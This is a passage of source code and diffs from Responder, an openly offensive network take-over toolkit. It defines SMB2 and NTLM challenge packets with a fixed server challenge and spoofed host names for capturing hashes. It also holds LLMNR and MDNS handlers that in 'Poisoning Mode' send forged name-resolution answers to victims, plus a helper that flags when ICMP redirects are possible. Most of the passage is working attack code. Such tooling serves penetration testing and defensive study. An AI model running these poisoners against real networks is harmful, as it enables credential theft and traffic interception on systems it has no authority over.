("Pidhigh", "\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("TID", "\x00\x00"),
("PID", "\xff\xfe"),
("UID", "\x00\x00"),
("MID", "\x00\x00"),
("Proto", "\xfe\x53\x4d\x42"),
("Len", "\x40\x00"),#Always 64.
("CreditCharge", "\x00\x00"),
("NTStatus", "\x00\x00\x00\x00"),
("Cmd", "\x00\x00"),
("Credits", "\x01\x00"),
("Flags", "\x01\x00\x00\x00"),
("NextCmd", "\x00\x00\x00\x00"),
("MessageId", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("PID", "\x00\x00\x00\x00"),
("TID", "\x00\x00\x00\x00"),
("SessionID", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
])
class SMB2Nego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMB2NegoAns(Packet):
fields = OrderedDict([
("Len", "\x41\x00"),
("Signing", "\x01\x00"),
("Dialect", "\xff\x02"),
("Reserved", "\x00\x00"),
("Guid", "\xee\x85\xab\xf7\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x76\xa9"),
("Capabilities", "\x07\x00\x00\x00"),
("MaxTransSize", "\x00\x00\x10\x00"),
("MaxReadSize", "\x00\x00\x10\x00"),
("MaxWriteSize", "\x00\x00\x10\x00"),
("SystemTime", "\x27\xfb\xea\xd7\x50\x09\xd2\x01"),
("BootTime", "\x22\xfb\x80\x01\x40\x09\xd2\x01"),
("SecBlobOffSet", "\x80\x00"),
("SecBlobLen", "\x78\x00"),
("Reserved2", "\x00\x00\x00\x00"),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x76"),
("ThisMechASNId", "\x06"),
("ThisMechASNLen", "\x06"),
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
("SpNegoTokenASNId", "\xA0"),
("SpNegoTokenASNLen", "\x6c"),
("NegTokenASNId", "\x30"),
("NegTokenASNLen", "\x6a"),
("NegTokenTag0ASNId", "\xA0"),
("NegTokenTag0ASNLen", "\x3c"),
("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x3a"),
("NegThisMech1ASNId", "\x06"),
("NegThisMech1ASNLen", "\x0a"),
("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
("NegThisMech2ASNId", "\x06"),
("NegThisMech2ASNLen", "\x09"),
("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
("NegThisMech3ASNId", "\x06"),
("NegThisMech3ASNLen", "\x09"),
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
("NegThisMech4ASNId", "\x06"),
("NegThisMech4ASNLen", "\x0a"),
("NegThisMech4ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
("NegThisMech5ASNId", "\x06"),
("NegThisMech5ASNLen", "\x0a"),
("NegThisMech5ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenTag3ASNId", "\xA3"),
("NegTokenTag3ASNLen", "\x2a"),
("NegHintASNId", "\x30"),
("NegHintASNLen", "\x28"),
("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x26"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x24"),
("NegHintFinalASNStr", "Server2008@SMB3.local"),
])
class SMB2NegoData(Packet):
fields = OrderedDict([
("StrType","\x02" ),
("dialect", "NT LM 0.12\x00"),
("StrType1","\x02"),
("dialect1", "SMB 2.002\x00"),
("StrType2","\x02"),
("dialect2", "SMB 2.???\x00"),
def calculate(self):
StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
#Packet Struct len
self.fields["Len"] = struct.pack("<h",len(StructLen)+1)
#Sec Blob lens
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen))
#ASN Stuff
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2)
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
class SMB2Session1Data(Packet):
fields = OrderedDict([
("Len", "\x09\x00"),
("SessionFlag", "\x00\x00"),
("SecBlobOffSet", "\x48\x00"),
("SecBlobLen", "\x06\x01"),
("ChoiceTagASNId", "\xa1"),
("ChoiceTagASNLenOfLen", "\x82"),
("ChoiceTagASNIdLen", "\x01\x02"),
("NegTokenTagASNId", "\x30"),
("NegTokenTagASNLenOfLen","\x81"),
("NegTokenTagASNIdLen", "\xff"),
("Tag0ASNId", "\xA0"),
("Tag0ASNIdLen", "\x03"),
("NegoStateASNId", "\x0A"),
("NegoStateASNLen", "\x01"),
("NegoStateASNValue", "\x01"),
("Tag1ASNId", "\xA1"),
("Tag1ASNIdLen", "\x0c"),
("Tag1ASNId2", "\x06"),
("Tag1ASNId2Len", "\x0A"),
("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("Tag2ASNId", "\xA2"),
("Tag2ASNIdLenOfLen", "\x81"),
("Tag2ASNIdLen", "\xE9"),
("Tag3ASNId", "\x04"),
("Tag3ASNIdLenOfLen", "\x81"),
("Tag3ASNIdLen", "\xE6"),
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen","\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen","\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x06"),
("NegTokenInitSeqMechMessageVersionLow","\x03"),
("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB3"),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB3"),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH492RQAFV"),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH492RQAFV.SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr","\xc0\x65\x31\x50\xde\x09\xd2\x01"),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
#Packet struct calc:
StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
###### SecBlobLen Calc:
CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
#Packet Struct len
self.fields["Len"] = struct.pack("<h",len(StructLen)+1)
self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob))
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
###### ASN Stuff
if len(CalculateSecBlob) > 255:
self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob))
else:
self.fields["Tag3ASNIdLenOfLen"] = "\x81"
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
if len(AsnLen+CalculateSecBlob)-3 > 255:
self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4)
else:
self.fields["ChoiceTagASNLenOfLen"] = "\x81"
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
if len(AsnLen+CalculateSecBlob)-7 > 255:
self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8)
else:
self.fields["NegTokenTagASNLenOfLen"] = "\x81"
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7)
tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
if len(tag2length) > 255:
self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length))
else:
self.fields["Tag2ASNIdLenOfLen"] = "\x81"
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length))
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### Target Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class SMB2Session2Data(Packet):
fields = OrderedDict([
("Len", "\x09\x00"),
("SessionFlag", "\x00\x00"),
("SecBlobOffSet", "\x00\x00\x00\x00"),
])

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,28 +14,18 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import settings
import fingerprint
from packets import LLMNR_Ans
from odict import OrderedDict
from SocketServer import BaseRequestHandler
from utils import *
def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
return data[13:13+NameLen]
def IsOnTheSameSubnet(ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def IsICMPRedirectPlausible(IP):
dnsip = []
@@ -43,22 +33,19 @@ def IsICMPRedirectPlausible(IP):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
elif ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
else:
pass
if settings.Config.AnalyzeMode:
IsICMPRedirectPlausible(settings.Config.Bind_To)
# LLMNR Server class
class LLMNR(BaseRequestHandler):
class LLMNR(BaseRequestHandler): # LLMNR Server class
def handle(self):
data, soc = self.request
Name = Parse_LLMNR_Name(data)
@@ -68,24 +55,18 @@ class LLMNR(BaseRequestHandler):
return None
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Poisoning Mode
else:
else: # Poisoning Mode
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
if Finger is not None:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,8 +15,6 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
import socket
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans
@@ -33,15 +31,13 @@ def Parse_MDNS_Name(data):
except IndexError:
return None
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
return data[:len(data)-5]
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
@@ -52,22 +48,15 @@ class MDNS(BaseRequestHandler):
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None
try:
# Analyze Mode
if settings.Config.AnalyzeMode:
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
